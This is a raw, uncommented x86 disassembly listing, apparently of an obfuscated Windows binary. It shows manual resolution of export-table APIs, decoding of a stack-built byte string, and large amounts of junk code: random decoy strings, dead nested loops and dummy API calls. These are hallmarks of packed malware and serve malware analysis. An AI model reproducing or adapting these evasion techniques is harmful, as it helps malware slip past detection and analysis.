jge 0x412aaf
and dword [ebp - 0x1c0], 0
jmp 0x412a67
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x7cdb
jge 0x412aad
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0xec]
shl eax, cl
cdq
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], edx
push dword [ebp - 0x344]
push dword [ebp - 0x348]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x412a5a
jmp 0x412a38
jmp 0x412a12
and dword [ebp - 0x170], 0
jmp 0x412aca
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xf
jae 0x412ae3
mov eax, dword [ebp - 0x170]
mov byte [ebp + eax - 0x504], 0
jmp 0x412abd
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x2c8], 0x154b
jge 0x412b06
mov edx, dword [ebp - 0x388]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x412b22
or dword [ebp - 4], 0xffffffff
jmp 0x412b2c
mov eax, dword [0xabbee8]
cmp eax, dword [ebp - 0x78]
je 0x412b40
mov eax, dword [0xabbf94]
cmp eax, dword [ebp - 0x78]
jne 0x412b58
mov ecx, dword [ebp + 0xc]
call fcn.00402d30
push eax
push dword [ebp + 8]
call fcn.004108c3
pop ecx
pop ecx
jmp 0x4147fc
mov eax, dword [ebp + 8]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x4146b8
mov eax, dword [ebp - 0xf4]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x4146b8
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xf4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0x4550
jne 0x4146b8
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x74], 0
jbe 0x4146b8
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx + eax + 0x78], 0
je 0x4146b8
mov dword [ebp - 0x300], 0x6454
mov dword [ebp - 0x428], str.mivalzl_bnpmt_fycwspvoo_fmvqdsd_wausoxh
cmp dword [ebp - 0x300], 0x666c
jle 0x412c5b
and dword [ebp - 0x1a8], 0
jmp 0x412bfa
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x39e1
jge 0x412c5b
and dword [ebp - 0xfc], 0
jmp 0x412c1c
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x6ad6
jge 0x412c59
mov eax, dword [ebp - 0x1a8]
or eax, dword [ebp - 0xfc]
cdq
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], edx
push dword [ebp - 0x350]
push dword [ebp - 0x354]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x412c0f
jmp 0x412bed
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x300], 0x61fb
jge 0x412c84
mov edx, dword [ebp - 0x428]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x412ca0
or dword [ebp - 4], 0xffffffff
jmp 0x412caa
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x28], edx
mov eax, 0xffff
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x2d0], 0x3b13
mov dword [ebp - 0x394], str.ijdy_zhlkmcdka_tyuydvel
cmp dword [ebp - 0x2d0], 0x3db7
jle 0x412d7e
push 0
push 0x11d3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
and dword [ebp - 0x104], 0
jmp 0x412d1d
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x350c
jge 0x412d71
and dword [ebp - 0x40], 0
jmp 0x412d36
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x212a
jge 0x412d6f
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x40]
shl eax, cl
cdq
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], edx
push dword [ebp - 0x35c]
push dword [ebp - 0x360]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x412d2f
jmp 0x412d10
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
or dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x2d0], 0x3893
jge 0x412da5
mov edx, dword [ebp - 0x394]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x412dc1
or dword [ebp - 4], 0xffffffff
jmp 0x412dcb
cmp dword [ebp + 0x10], 0
jbe 0x412f33
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x412f2e
mov dword [ebp - 0x328], 0x4741
mov dword [ebp - 0x434], str.hjt_bhitxi_ncro_jqjdu_trrymq_prozw_qbgxcvb_bddk_eaqch
cmp dword [ebp - 0x328], 0x4a38
jle 0x412ee1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
and dword [ebp - 0x114], 0
jmp 0x412e2d
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x5d5
jge 0x412ee1
and dword [ebp - 0x108], 0
jmp 0x412e53
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x2161
jge 0x412edc
and dword [ebp - 0x10c], 0
jmp 0x412e75
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x1ef5
jge 0x412ed7
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x10c]
shl eax, cl
cdq
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x368], edx
push dword [ebp - 0x368]
push dword [ebp - 0x36c]
lea ecx, [ebp - 0x630]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x630]
call fcn.00402b1d
jmp 0x412e68
jmp 0x412e46
jmp 0x412e20
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x328], 0x4539
jge 0x412f08
push dword [ebp - 0x434]
call fcn.0048ca28
pop ecx
jmp 0x412f24
or dword [ebp - 4], 0xffffffff
jmp 0x412f2e
jmp 0x4133c5
mov dword [ebp - 0x2d8], 0x6cf2
mov dword [ebp - 0x3a0], str.ilczmkf_drprgvw_jwkxh_lxj_ggikin_ungzdj_httsi_wrxsnbyf
cmp dword [ebp - 0x2d8], 0x6f01
jle 0x412fee
and dword [ebp - 0x178], 0
jmp 0x412f6d
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x713
jge 0x412fee
and dword [ebp - 0x118], 0
jmp 0x412f8f
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x428e
jge 0x412fe9
and dword [ebp - 0x44], 0
jmp 0x412fa8
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x4827
jge 0x412fe7
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x118]
shl eax, cl
xor eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], edx
push dword [ebp - 0x374]
push dword [ebp - 0x378]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x412fa1
jmp 0x412f82
jmp 0x412f60
mov eax, dword [0xabc000]
and eax, 1
jne 0x41301a
mov eax, dword [0xabc000]
or eax, 1
mov dword [0xabc000], eax
mov ecx, 0xabbfa4
call fcn.00402e3d
push 0x4ba06a
call fcn.0048c6df
pop ecx
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x2d8], 0x6c7d
jge 0x41303d
mov edx, dword [ebp - 0x3a0]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x413059
or dword [ebp - 4], 0xffffffff
jmp 0x413063
movzx eax, byte [0xabbee6]
test eax, eax
je 0x4130c9
mov ecx, 0xabbfa4
call fcn.0042df52
movzx eax, al
test eax, eax
jne 0x4130c9
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x308]
push eax
mov ecx, 0xabbfa4
call fcn.00402e15
lea eax, [ebp - 0x510]
push eax
mov ecx, 0xabbfa4
call fcn.00402e07
push eax
lea ecx, [ebp - 0x308]
call fcn.00402e2a
movzx eax, al
test eax, eax
je 0x4130c9
lea ecx, [ebp - 0x308]
call fcn.0042df5b
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x4133c5
mov ecx, 0xabbfa4
call fcn.0042df9f
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xabbfa4
call fcn.0042dfa3
and dword [ebp - 0x30], 0
jmp 0x4130fb
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [eax + 0x18]
jae 0x4133c5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
je 0x4133c0
mov dword [ebp - 0x290], 0x4098
mov dword [ebp - 0x440], str.awkfepkcv_lkacluf_yjfb_yjhkikn
cmp dword [ebp - 0x290], 0x436f
jle 0x41321b
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
and dword [ebp - 0x48], 0
jmp 0x413165
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x62c8
jge 0x41321b
and dword [ebp - 0x50], 0
jmp 0x41317f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x1ea3
jge 0x413216
and dword [ebp - 0x58], 0
jmp 0x413199
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x38de
jge 0x413211
and dword [ebp - 0x60], 0
jmp 0x4131af
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x193b
jge 0x41320f
mov eax, dword [ebp - 0x48]
cdq
idiv dword [ebp - 0x50]
mov esi, edx
mov eax, dword [ebp - 0x58]
cdq
idiv dword [ebp - 0x60]
mov ecx, edx
sar esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x380], edx
push dword [ebp - 0x380]
push dword [ebp - 0x384]
lea ecx, [ebp - 0x588]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x588]
call fcn.00402b1d
jmp 0x4131a8
jmp 0x413192
jmp 0x413178
jmp 0x41315e
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x570]
call fcn.0042decf
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x290], 0x3f61
jge 0x413251
push dword [ebp - 0x440]
call fcn.0048ca28
pop ecx
jmp 0x41326d
or dword [ebp - 4], 0xffffffff
jmp 0x413277
mov dword [ebp - 0x294], 0x25a7
mov dword [ebp - 0x3ac], str.oho_dlmncr_cgluzda_cpq_hksphz_quamlppz_ubvh_vkdawana_bthmxkd_ibxeh_zrse_upberxnu
cmp dword [ebp - 0x294], 0x284e
jle 0x41330c
and dword [ebp - 0x68], 0
jmp 0x4132a4
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x2e9e
jge 0x41330c
and dword [ebp - 0x70], 0
jmp 0x4132ba
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x43f0
jge 0x41330a
mov eax, dword [ebp - 0x68]
or eax, dword [ebp - 0x70]
cdq
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], edx
push dword [ebp - 0x38c]
push dword [ebp - 0x390]
lea ecx, [ebp - 0x660]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x660]
call fcn.00402b1d
jmp 0x4132b3
jmp 0x41329d
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x570]
call fcn.004053f0
mov dword [ebp - 0x29c], eax
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x294], 0x2408
jge 0x41333f
push dword [ebp - 0x3ac]
call fcn.0048ca28
pop ecx
jmp 0x41335b
or dword [ebp - 4], 0xffffffff
jmp 0x413365
movzx eax, byte [0xabbee6]
test eax, eax
je 0x413381
mov ecx, 0xabbfa4
call fcn.0042df52
movzx eax, al
test eax, eax
jne 0x41339e
lea eax, [ebp - 0x29c]
push eax
mov ecx, 0xabbfa4
call fcn.0042df61
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov byte [0xabbee6], 1
cmp dword [ebp - 0x38], 0xffffffff
jne 0x4133b5
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x78]
jne 0x4133b5
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x570]
call fcn.00402cd4
jmp 0x4130f4
mov dword [ebp - 0x2a4], 0x522f
mov dword [ebp - 0x44c], str.flge_nskzp_qvks_eomoamiu_jzouqq_jjybvzt
cmp dword [ebp - 0x2a4], 0x5566
jle 0x4134be
and dword [ebp - 0x80], 0
jmp 0x4133f6
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x30aa
jge 0x4134b8
and dword [ebp - 0x88], 0
jmp 0x413419
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x5ce8
jge 0x4134b3
and dword [ebp - 0x90], 0
jmp 0x41343f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x16f8
jge 0x4134ae
and dword [ebp - 0x98], 0
jmp 0x413461
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x421c
jge 0x4134ac
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x98]
shl edx, cl
or eax, edx
cdq
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], edx
push dword [ebp - 0x398]
push dword [ebp - 0x39c]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x413454
jmp 0x413432
jmp 0x41340c
jmp 0x4133ef
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cmp dword [ebp + 0x10], 0
jne 0x4134de
cmp dword [ebp - 0x38], 0xffffffff
je 0x4134de
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x38]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x2a4], 0x51f4
jge 0x413501
mov edx, dword [ebp - 0x44c]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x41351d
or dword [ebp - 4], 0xffffffff
jmp 0x413527
movzx eax, word [ebp - 0x1c]
cmp eax, 0xffff
je 0x4146b8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x1c]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x2ac], 0x1887
mov dword [ebp - 0x458], str.igto_ksv_xbjzvje_kfsze_rin_cryrhuoj_nlfgfao_pjcduzkfo_itjiqvi_lluhpkvi_biq_lcwexi_jhckpe_axbwwmf
cmp dword [ebp - 0x2ac], 0x19ac
jle 0x41365c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
and dword [ebp - 0xa0], 0
jmp 0x413595
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x228
jge 0x41365c
and dword [ebp - 0xa8], 0
jmp 0x4135bb
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x308c
jge 0x413657
and dword [ebp - 0xb0], 0
jmp 0x4135e1
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x4df3
jge 0x413652
and dword [ebp - 0xb8], 0
jmp 0x413603
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x68b5
jge 0x413650
mov eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xb0]
shl eax, cl
mov ecx, dword [ebp - 0xb8]
shl eax, cl
cdq
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], edx
push dword [ebp - 0x3a4]
push dword [ebp - 0x3a8]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x4135f6
jmp 0x4135d4
jmp 0x4135ae
jmp 0x413588
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x2ac], 0x17ba
jge 0x41368d
mov edx, dword [ebp - 0x458]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x4136a9
or dword [ebp - 4], 0xffffffff
jmp 0x4136b3
mov dword [ebp - 0x30c], 0x6d98
mov dword [ebp - 0x400], str.fljxys_zasni_gnyuopmz_sagjdoigt_zmesnsaze_wkoyclof_pdwjtlrq_ddygyyz_mtdqsct_iycy
cmp dword [ebp - 0x30c], 0x70fc
jle 0x4137b4
and dword [ebp - 0xc0], 0
jmp 0x4136ed
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xb74
jge 0x4137b4
and dword [ebp - 0xc8], 0
jmp 0x413713
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x587f
jge 0x4137af
and dword [ebp - 0xd0], 0
jmp 0x413739
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x6a5d
jge 0x4137aa
and dword [ebp - 0xd8], 0
jmp 0x41375b
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x3772
jge 0x4137a8
mov eax, dword [ebp - 0xc0]
cdq
idiv dword [ebp - 0xc8]
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0xd8]
add eax, edx
cdq
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], edx
push dword [ebp - 0x3b0]
push dword [ebp - 0x3b4]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x41374e
jmp 0x41372c
jmp 0x413706
jmp 0x4136e0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jbe 0x414568
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x24], edx
jae 0x414568
mov dword [ebp - 0x2b4], 0x7f29
mov dword [ebp - 0x3c4], str.zsfhsr_nhcwpy_atiqz_mwrk_xghkzmw
cmp dword [ebp - 0x2b4], 0x81b6
jle 0x413893
and dword [ebp - 0xe0], 0
jmp 0x413813
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x5c56
jge 0x413893
and dword [ebp - 0xe8], 0
jmp 0x413835
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x7f05
jge 0x41388e
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0xe8]
cdq
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], edx
push dword [ebp - 0x3bc]
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x6f0]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x6f0]
call fcn.00402b1d
jmp 0x413828
jmp 0x413806
mov eax, dword [0xabc000]
and eax, 2
jne 0x4138ba
mov eax, dword [0xabc000]
or eax, 2
mov dword [0xabc000], eax
push 0x1440
call fcn.00401999
pop ecx
mov byte [0xabc028], al
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x2b4], 0x7c5e
jge 0x4138d9
push dword [ebp - 0x3c4]
call fcn.0048ca28
pop ecx
jmp 0x4138f5
or dword [ebp - 4], 0xffffffff
jmp 0x4138ff
mov dword [ebp - 0x2bc], 0x39eb
mov dword [ebp - 0x464], str.tatw_iiyqrme_aul_kbjmat_kfntah_nyxnhms_ouipn
cmp dword [ebp - 0x2bc], 0x3b81
jle 0x4139b9
and dword [ebp - 0xf0], 0
jmp 0x413939
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x7f70
jge 0x4139b9
and dword [ebp - 0xf8], 0
jmp 0x41395b
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x1d52
jge 0x4139b4
mov eax, dword [ebp - 0xf0]
and eax, dword [ebp - 0xf8]
cdq
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x3c8], edx
push dword [ebp - 0x3c8]
push dword [ebp - 0x3cc]
lea ecx, [ebp - 0x5a0]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x5a0]
call fcn.00402b1d
jmp 0x41394e
jmp 0x41392c
mov byte [ebp - 0x204], 2
mov byte [ebp - 0x203], 0x6d
mov byte [ebp - 0x202], 0
mov byte [ebp - 0x201], 0x67
mov byte [ebp - 0x200], 1
mov byte [ebp - 0x1ff], 0x71
mov byte [ebp - 0x1fe], 0x21
mov byte [ebp - 0x1fd], 0x30
mov byte [ebp - 0x1fc], 0xf7
mov byte [ebp - 0x1fb], 0x5c
mov byte [ebp - 0x1fa], 0xf3
mov byte [ebp - 0x1f9], 0xf
mov byte [ebp - 0x1f8], 0x88
mov byte [ebp - 0x1f7], 0x64
mov byte [ebp - 0x1f6], 0xe8
mov byte [ebp - 0x1f5], 0x43
mov byte [ebp - 0x1f4], 0xf0
mov byte [ebp - 0x1f3], 0x5c
mov byte [ebp - 0x1f2], 0xb1
mov byte [ebp - 0x1f1], 0x18
mov byte [ebp - 0x1f0], 0x1f
mov byte [ebp - 0x1ef], 3
mov byte [ebp - 0x1ee], 0x5d
mov byte [ebp - 0x1ed], 0x71
mov byte [ebp - 0x1ec], 0x3d
mov byte [ebp - 0x1eb], 0x73
mov byte [ebp - 0x1ea], 0xed
mov byte [ebp - 0x1e9], 0x5c
mov byte [ebp - 0x1e8], 0xec
mov byte [ebp - 0x1e7], 0x57
mov byte [ebp - 0x1e6], 0xb6
mov byte [ebp - 0x1e5], 0xe9
mov byte [ebp - 0x1e4], 0xcd
mov byte [ebp - 0x1e3], 0x58
mov byte [ebp - 0x1e2], 6
mov byte [ebp - 0x1e1], 0x3d
mov byte [ebp - 0x1e0], 0x45
mov byte [ebp - 0x1df], pe_nt_image_headers32
mov byte [ebp - 0x1de], 0xa
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x2bc], 0x3883
jge 0x413ae9
push dword [ebp - 0x464]
call fcn.0048ca28
pop ecx
jmp 0x413b05
or dword [ebp - 4], 0xffffffff
jmp 0x413b0f
mov dword [ebp - 0x2cc], 0x2361
mov dword [ebp - 0x3d0], str.xuccg_pvqwtre_zdub_dynoxav_kofgjd
cmp dword [ebp - 0x2cc], 0x23e5
jle 0x413bfc
and dword [ebp - 0x124], 0
jmp 0x413b49
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x5cdb
jge 0x413bfc
and dword [ebp - 0x100], 0
jmp 0x413b6f
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x72c2
jge 0x413bf7
and dword [ebp - 0x11c], 0
jmp 0x413b91
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x4096
jge 0x413bf2
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x11c]
sar eax, cl
or eax, dword [ebp - 0x124]
cdq
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], edx
push dword [ebp - 0x3d4]
push dword [ebp - 0x3d8]
lea ecx, [ebp - 0x5b8]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x5b8]
call fcn.00402b1d
jmp 0x413b84
jmp 0x413b62
jmp 0x413b3c
and dword [ebp - 0x20], 0
and dword [ebp - 0x2c4], 0
jmp 0x413c11
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x27
jae 0x413c9e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x204]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x413c47
mov dword [ebp - 0x2c4], 0x21
mov eax, dword [ebp - 0x20]
add eax, 0x1f
mov dword [ebp - 0x20], eax
jmp 0x413c09
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x203]
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c4]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jge 0x413c81
mov eax, dword [ebp - 0x12c]
add eax, 0x100
mov dword [ebp - 0x12c], eax
jmp 0x413c65
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x204]
mov cl, byte [ebp - 0x12c]
mov byte [ebp + eax - 0x288], cl
jmp 0x413c09
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x2cc], 0x2239
jge 0x413cbd
push dword [ebp - 0x3d0]
call fcn.0048ca28
pop ecx
jmp 0x413cd9
or dword [ebp - 4], 0xffffffff
jmp 0x413ce3
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x288], 0
mov eax, dword [0xabc000]
and eax, 4
jne 0x413d24
mov eax, dword [0xabc000]
or eax, 4
mov dword [0xabc000], eax
lea eax, [ebp - 0x288]
push eax
mov ecx, 0xabbfe8
call fcn.0042decf
push 0x4ba05b
call fcn.0048c6df
pop ecx
mov dword [ebp - 0x2dc], 0x1421
mov dword [ebp - 0x3dc], str.nnzfr_zpqbmbrz_wchn_itxyu_xprfmtxt
cmp dword [ebp - 0x2dc], 0x171e
jle 0x413dde
and dword [ebp - 0x134], 0
jmp 0x413d5e
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x315a
jge 0x413dde
and dword [ebp - 0x13c], 0
jmp 0x413d80
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x708a
jge 0x413dd9
mov eax, dword [ebp - 0x134]
xor eax, dword [ebp - 0x13c]
cdq
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], edx
push dword [ebp - 0x3e0]
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x5e8]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x5e8]
call fcn.00402b1d
jmp 0x413d73
jmp 0x413d51
and dword [ebp - 0x164], 0
jmp 0x413df4
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 4
jae 0x413f7b
mov dword [ebp - 0x2d4], 0x68f2
